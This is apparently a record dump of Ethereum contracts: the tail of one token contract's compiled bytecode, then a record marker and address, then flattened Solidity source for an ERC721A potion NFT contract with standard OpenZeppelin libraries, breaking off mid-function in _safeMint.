ffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610a83576000600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b17565b610a9683826110cd90919063ffffffff16565b600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000610c0e82611499565b9050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610cd05780601f10610ca557610100808354040283529160200191610cd0565b820191906000526020600020905b815481529060010190602001808311610cb357829003601f168201915b505050505081565b6000610ce53384846110e9565b6001905092915050565b6000610d8082600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461163c90919063ffffffff16565b600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610fcd57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561100957600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60075481565b60008282111515156110de57600080fd5b818303905092915050565b6000808373ffffffffffffffffffffffffffffffffffffffff161415151561111057600080fd5b6111198461165d565b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561116757600080fd5b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401101515156111f657600080fd5b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540190506112cb82600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110cd90919063ffffffff16565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061136082600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461163c90919063ffffffff16565b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a380600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540114151561149357fe5b50505050565b60006007546005541080156114fb57506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156115f457600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561159957600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050611637565b6115ed600654600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461163c90919063ffffffff16565b9050611637565b600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b919050565b600080828401905083811015151561165357600080fd5b8091505092915050565b600860008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116ba5750600754600554105b156117cc576001600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061176b600654600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461163c90919063ffffffff16565b600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117c560065460055461163c90919063ffffffff16565b6005819055505b505600a165627a7a7230582005c5f6454a54f1640d3334ebbe6ecc86ea1d2ac8cbbe96db5a066b54e8276d6f0029
[ 38 ]
0xf20aabe237cc19c88d3aeb6c2a03acea396d1b5c
// SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: ERC721A.sol // Creator: Chiru Labs pragma solidity ^0.8.0; error ApprovalCallerNotOwnerNorApproved(); error ApprovalQueryForNonexistentToken(); error ApproveToCaller(); error ApprovalToCurrentOwner(); error BalanceQueryForZeroAddress(); error MintToZeroAddress(); error MintZeroQuantity(); error OwnerQueryForNonexistentToken(); error TransferCallerNotOwnerNorApproved(); error TransferFromIncorrectOwner(); error TransferToNonERC721ReceiverImplementer(); error TransferToZeroAddress(); error URIQueryForNonexistentToken(); /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension. Built to optimize for lower gas during batch mints. * * Assumes serials are sequentially minted starting at _startTokenId() (defaults to 0, e.g. 0, 1, 2, 3..). * * Assumes that an owner cannot have more than 2**64 - 1 (max value of uint64) of supply. * * Assumes that the maximum token id cannot exceed 2**256 - 1 (max value of uint256). */ contract ERC721A is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Compiler will pack this into a single 256bit word. struct TokenOwnership { // The address of the owner. address addr; // Keeps track of the start time of ownership with minimal overhead for tokenomics. uint64 startTimestamp; // Whether the token has been burned. bool burned; } // Compiler will pack this into a single 256bit word. struct AddressData { // Realistically, 2**64-1 is more than enough. uint64 balance; // Keeps track of mint count with minimal overhead for tokenomics. uint64 numberMinted; // Keeps track of burn count with minimal overhead for tokenomics. uint64 numberBurned; // For miscellaneous variable(s) pertaining to the address // (e.g. number of whitelist mint slots used). // If there are multiple variables, please pack them into a uint64. uint64 aux; } // The tokenId of the next token to be minted. uint256 internal _currentIndex = 1; // The number of tokens burned. uint256 internal _burnCounter; // Token name string private _name; // Token symbol string private _symbol; // Type of potions enum PotionType { NONE, RED, BLUE, GREEN, PURPLE } // Keep track of what type the potion was assigned mapping(uint256 => PotionType) public potionStorage; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. See _ownershipOf implementation for details. mapping(uint256 => TokenOwnership) internal _ownerships; // Mapping owner address to address data mapping(address => AddressData) private _addressData; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; _currentIndex = _startTokenId(); } /** * To change the starting tokenId, please override this function. */ function _startTokenId() internal view virtual returns (uint256) { return 1; } /** * @dev Burned tokens are calculated here, use _totalMinted() if you want to count just minted tokens. */ function totalSupply() public view returns (uint256) { // Counter underflow is impossible as _burnCounter cannot be incremented // more than _currentIndex - _startTokenId() times unchecked { return _currentIndex - _burnCounter - _startTokenId(); } } /** * Returns the total amount of tokens minted in the contract. */ function _totalMinted() internal view returns (uint256) { // Counter underflow is impossible as _currentIndex does not decrement, // and it is initialized to _startTokenId() unchecked { return _currentIndex - _startTokenId(); } } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { if (owner == address(0)) revert BalanceQueryForZeroAddress(); return uint256(_addressData[owner].balance); } /** * Returns the number of tokens minted by `owner`. */ function _numberMinted(address owner) internal view returns (uint256) { return uint256(_addressData[owner].numberMinted); } function getPotionType(uint256 index) internal view returns (string memory) { if(potionStorage[index] == PotionType.BLUE) return "BLUE"; if(potionStorage[index] == PotionType.RED) return "RED"; if(potionStorage[index] == PotionType.GREEN) return "GREEN"; if(potionStorage[index] == PotionType.PURPLE) return "PURPLE"; return ""; } /** * Returns the number of tokens burned by or on behalf of `owner`. */ function _numberBurned(address owner) internal view returns (uint256) { return uint256(_addressData[owner].numberBurned); } /** * Returns the auxillary data for `owner`. (e.g. number of whitelist mint slots used). */ function _getAux(address owner) internal view returns (uint64) { return _addressData[owner].aux; } /** * Sets the auxillary data for `owner`. (e.g. number of whitelist mint slots used). * If there are multiple variables, please pack them into a uint64. */ function _setAux(address owner, uint64 aux) internal { _addressData[owner].aux = aux; } /** * Gas spent here starts off proportional to the maximum mint batch size. * It gradually moves to O(1) as tokens get transferred around in the collection over time. */ function _ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { uint256 curr = tokenId; unchecked { if (_startTokenId() <= curr && curr < _currentIndex) { TokenOwnership memory ownership = _ownerships[curr]; if (!ownership.burned) { if (ownership.addr != address(0)) { return ownership; } // Invariant: // There will always be an ownership that has an address and is not burned // before an ownership that does not have an address and is not burned. // Hence, curr will not underflow. while (true) { curr--; ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } } } } } revert OwnerQueryForNonexistentToken(); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { return _ownershipOf(tokenId).addr; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { if (!_exists(tokenId)) revert URIQueryForNonexistentToken(); string memory baseURI = _baseURI(); return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, getPotionType(tokenId))) : ''; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ''; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public override { address owner = ERC721A.ownerOf(tokenId); if (to == owner) revert ApprovalToCurrentOwner(); if (_msgSender() != owner && !isApprovedForAll(owner, _msgSender())) { revert ApprovalCallerNotOwnerNorApproved(); } _approve(to, tokenId, owner); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken(); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { if (operator == _msgSender()) revert ApproveToCaller(); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ''); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { _transfer(from, to, tokenId); if (to.isContract() && !_checkContractOnERC721Received(from, to, tokenId, _data)) { revert TransferToNonERC721ReceiverImplementer(); } } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), */ function _exists(uint256 tokenId) internal view returns (bool) { return _startTokenId() <= tokenId && tokenId < _currentIndex && !_ownerships[tokenId].burned; } /** * @dev Equivalent to `_safeMint(to, quantity, '')`. */ function _safeMint(address to, uint8[] calldata _potionTypes, uint256 quantity) internal { _safeMint(to, _potionTypes, quantity, ''); } /** * @dev Safely mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - If `to` refers to a smart contract, it must implement * {IERC721Receiver-onERC721Received}, which is called for each safe transfer. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _safeMint( address to, uint8[] calldata _potionTypes, uint256 quantity, bytes memory _data ) internal { uint256 startTokenId = _currentIndex; if (to == address(0)) revert MintToZeroAddress(); if (quantity == 0) revert MintZeroQuantity(); _beforeTokenTransfers(address(0), to, startTokenId, quantity); // Overflows are incredibly unrealistic. // balance or numberMinted overflow if current value of either + quantity > 1.8e19 (2**64) - 1 // updatedIndex overflows if _currentIndex + quantity > 1.2e77 (2**256) - 1 unchecked { _addressData[to].balance += uint64(quantity); _addressData[to].numberMinted += uint64(quantity); _ownerships[startTokenId].addr = to; _ownerships[startTokenId].startTimestamp = uint64(block.timestamp); uint256 updatedIndex = startTokenId; uint256 end = updatedIndex + quantity; uint256 arrayIndex = 0; if (to.isContract()) { do { emit Transfer(address(0), to, updatedIndex); if (!_checkContractOnERC721Received(address(0), to, updatedIndex++, _data)) { revert TransferToNonERC721ReceiverImplementer(); } } while (updatedIndex != end); // Reentrancy protection if (_currentIndex != startTokenId) revert(); } else { do { potionStorage[updatedIndex] = 